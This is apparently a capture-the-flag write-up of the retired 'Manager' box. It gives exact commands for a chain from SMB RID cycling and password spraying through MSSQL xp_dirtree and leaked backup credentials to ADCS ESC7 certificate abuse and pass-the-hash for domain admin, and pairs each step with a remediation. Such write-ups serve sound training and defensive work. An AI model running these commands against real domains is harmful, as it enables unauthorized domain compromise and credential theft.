Manager
Summary
The domain controller DC01 (manager.htb, $TARGET) was fully compromised through a four-stage chain. SMB null-session authentication let me enumerate every domain account by RID cycling without a single credential. A username-as-password spray against that list yielded a valid SQL login (Operator:[REDACTED: recovered credential]), which was used to call the xp_dirtree stored procedure and list the IIS web root — revealing a forgotten backup archive.
That archive contained a hidden XML config file with the cleartext password for the domain user raven, giving an interactive WinRM shell. Raven held the 'Manage CA' permission on the enterprise Certificate Authority, which is the ADCS ESC7 misconfiguration: raven self-promoted to CA Officer, approved her own certificate request impersonating Administrator, and used the resulting certificate to recover the Administrator NTLM hash via Kerberos PKINIT — passing that hash directly into WinRM for full domain control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nxc smb $TARGET -u guest -p '' --rid-brute 6000FixDisable SMB null sessions and guest account enumeration on the domain controllerHigh
Exact commands 2
nxc smb $TARGET -u Operator -p $PASSWORD2nxc mssql $TARGET -u Operator -p $PASSWORD2FixEnforce a password policy that prohibits username-as-password and requires strong credentials for all accountsCritical
Exact commands 1
nxc mssql $TARGET -u Operator -p $PASSWORD2 -q "EXEC master.sys.xp_dirtree 'C:\inetpub\wwwroot',1,1;"FixRestrict MSSQL xp_dirtree and other file-system stored procedures to sysadmin accounts onlyHigh
Exact commands 3
curl -s -o /tmp/backup.zip http://$TARGET/website-backup-27-07-23-old.zipunzip -o /tmp/backup.zip -d /tmp/backup_extractcat /tmp/backup_extract/.old-conf.xmlFixRemove backup archives and cleartext credentials from web-accessible directoriesCritical
Exact commands 2
nxc winrm $TARGET -u raven -p "$PASSWORD" -x "type C:\Users\raven\Desktop\user.txt"evil-winrm -i $TARGET -u raven -p "$PASSWORD"Exact commands 6
certipy-ad find -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -vulnerable -stdoutcertipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -add-officer ravencertipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -enable-template SubCAcertipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -template SubCA -upn administrator@manager.htb -target dc01.manager.htbcertipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -issue-request 20certipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -retrieve 20 -target dc01.manager.htbFixRemove 'Manage CA' and 'Manage Certificates' rights from non-PKI-administrator domain accountsCritical
Exact commands 4
nmap -sT -p445 --script smb2-time $TARGET -Pnsudo date -u -s '2026-07-29 05:39:45'certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET -username administrator -domain manager.htbnxc winrm $TARGET -u Administrator -H $PASSWORD3 -x "type C:\Users\Administrator\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49728/tcp | unknown recon-sweep-discovered |
| 49737/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |